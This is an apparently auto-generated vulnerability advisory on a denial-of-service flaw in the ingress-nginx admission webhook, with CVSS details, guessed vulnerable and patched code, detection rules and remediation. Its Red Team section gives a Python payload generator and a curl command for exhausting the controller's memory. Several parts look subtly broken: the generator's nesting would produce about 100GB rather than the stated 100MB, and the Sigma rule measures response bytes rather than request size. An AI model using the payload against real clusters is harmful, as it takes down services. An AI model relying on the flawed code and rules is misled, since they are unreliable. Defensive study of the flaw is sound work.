CVE-2026-24514

Executive Summary

CVE-2026-24514 is a denial of service (DoS) vulnerability in the ingress-nginx validating admission controller. An attacker can send large requests to the controller, causing excessive memory consumption that may lead to the ingress-nginx controller pod being killed or the node running out of memory. This vulnerability has a CVSS score of 6.5 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects the ingress-nginx project, which is a Kubernetes ingress controller. It is not an NPM, PyPI, Go, or Ruby package, but it is a critical component in Kubernetes environments. Organizations using ingress-nginx should monitor for updates and apply patches as soon as they become available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The threat level is medium due to the high availability impact but no confidentiality or integrity impact. The attack is easy to execute remotely without authentication.

Deep Dive & Mechanics

The vulnerability resides in the validating admission controller of ingress-nginx. This controller is responsible for validating incoming Ingress resources before they are admitted into the Kubernetes cluster. The issue is that the controller does not properly limit the size of incoming requests. An attacker can craft a large request (e.g., a JSON payload with deeply nested structures or large strings) that, when processed by the controller, consumes excessive memory.

The memory consumption can lead to:

• The ingress-nginx controller pod being killed by Kubernetes due to memory limits (OOMKill).
• The node running out of memory, affecting other workloads on the same node.

The vulnerability is classified as CWE-400 (Uncontrolled Resource Consumption). The attack does not require any privileges or user interaction, making it easy to exploit from the network.

Vulnerable vs. Patched Code

Since no patch is currently available, we can only describe the vulnerable behavior. The vulnerable code likely lacks input size validation or resource limits on the request body.

Vulnerable Code (Conceptual):

func validateIngress(req *admissionv1.AdmissionRequest) (*admissionv1.AdmissionResponse, error) {
    // No size limit on the request object
    var ingress networkingv1.Ingress
    if err := json.Unmarshal(req.Object.Raw, &ingress); err != nil {
        return nil, err
    }
    // ... validation logic ...
}

Patched Code (Expected):

func validateIngress(req *admissionv1.AdmissionRequest) (*admissionv1.AdmissionResponse, error) {
    // Limit the size of the request object to 1MB
    const maxSize = 1 * 1024 * 1024
    if len(req.Object.Raw) > maxSize {
        return &admissionv1.AdmissionResponse{
            Allowed: false,
            Result: &metav1.Status{
                Message: "Request too large",
            },
        }, nil
    }
    var ingress networkingv1.Ingress
    if err := json.Unmarshal(req.Object.Raw, &ingress); err != nil {
        return nil, err
    }
    // ... validation logic ...
}

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on the ingress-nginx controller.

Prerequisites:

• Network access to the Kubernetes API server or the validating admission webhook endpoint.
• Knowledge of the ingress-nginx service endpoint.

Exploitation Steps:

1. Identify the validating admission webhook endpoint. This is typically exposed as a service in the ingress-nginx namespace.
2. Craft a large JSON payload that represents an Ingress resource. The payload should be large enough to cause memory exhaustion (e.g., >100MB).
3. Send the payload to the webhook endpoint using a tool like curl.

Example Payload Generation:

# Generate a large JSON payload
python3 -c "
import json
import sys

# Create a deeply nested structure
def create_nested(depth):
    if depth == 0:
        return 'x' * 1024 * 1024  # 1MB string
    return {str(i): create_nested(depth-1) for i in range(10)}

payload = {
    'apiVersion': 'networking.k8s.io/v1',
    'kind': 'Ingress',
    'metadata': {
        'name': 'large-ingress',
        'annotations': create_nested(5)
    },
    'spec': {
        'rules': [{
            'host': 'example.com',
            'http': {
                'paths': [{
                    'path': '/',
                    'pathType': 'Prefix',
                    'backend': {
                        'service': {
                            'name': 'test',
                            'port': {
                                'number': 80
                            }
                        }
                    }
                }]
            }
        }]
    }
}

with open('payload.json', 'w') as f:
    json.dump(payload, f)
print('Payload size:', len(json.dumps(payload)))
"

Sending the Payload:

# Send the payload to the webhook
curl -X POST https://<webhook-endpoint>/validate -d @payload.json -H "Content-Type: application/json"

Expected Outcome: The ingress-nginx controller pod will be killed due to OOM, or the node will run out of memory.

Blue Team

Detection:

• Monitor memory usage of ingress-nginx pods.
• Set up alerts for high memory consumption.
• Monitor for large requests to the validating admission webhook.

Mitigation:

• Apply resource limits to the ingress-nginx controller pod.
• Use a web application firewall (WAF) to filter large requests.
• Implement request size limits at the API gateway level.

Lab Setup for Testing:

1. Deploy a Kubernetes cluster with ingress-nginx.
2. Configure monitoring (e.g., Prometheus) to track pod memory usage.
3. Simulate the attack using the Red Team steps above.
4. Observe the memory spike and pod restart.

Indicators of Compromise (IOCs)

• Network: Large HTTP POST requests to the validating admission webhook endpoint (typically /validate).
• System: High memory usage by the ingress-nginx controller pod.
• Logs: Kubernetes events showing OOMKill for the ingress-nginx controller pod.
• Metrics: Sudden spike in memory usage for the ingress-nginx-controller container.

Detection Engineering

YARA Rule

rule CVE_2026_24514_Ingress_Nginx_DoS {
    meta:
        description = "Detects large JSON payloads targeting ingress-nginx validating admission controller"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-24514"
    strings:
        $json_start = "{\"apiVersion\":\"networking.k8s.io/v1\""
        $large_string = /[a-zA-Z0-9]{100000,}/  // strings longer than 100k chars
    condition:
        $json_start and #large_string > 5
}

Sigma Rule

title: CVE-2026-24514 - Ingress-Nginx Validating Admission Controller DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects large requests to ingress-nginx validating admission webhook
author: Valters IT
date: 2026/01/01
logsource:
    category: web
    product: ingress-nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/validate'
        sc-bytes: '>10000000'  # requests larger than 10MB
    condition: selection
falsepositives:
    - Legitimate large Ingress resources
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-24514 - Ingress-Nginx Validating Admission Controller DoS"; flow:to_server; content:"POST"; http_method; content:"/validate"; http_uri; content:"Content-Type|3a| application/json"; http_header; pcre:"/^[a-zA-Z0-9]{100000,}/m"; threshold: type both, track by_src, count 1, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Resource Limits: Configure memory limits for the ingress-nginx controller pod to prevent it from consuming all node memory.

   resources:
     limits:
       memory: "512Mi"
     requests:
       memory: "256Mi"
   

2. Use a WAF: Deploy a web application firewall (e.g., ModSecurity) to filter requests larger than a certain size.
3. Monitor: Set up monitoring and alerting for memory usage of ingress-nginx pods.

Long-term Fix:

• Wait for an official patch from the ingress-nginx project. Once available, upgrade to the patched version.
• Implement request size validation in the admission controller code (as shown in the patched code example).

Workaround:

• Disable the validating admission controller if not needed (not recommended for production).
• Use a different ingress controller temporarily.

Report generated by Valters IT DevSecOps & CTI Expert System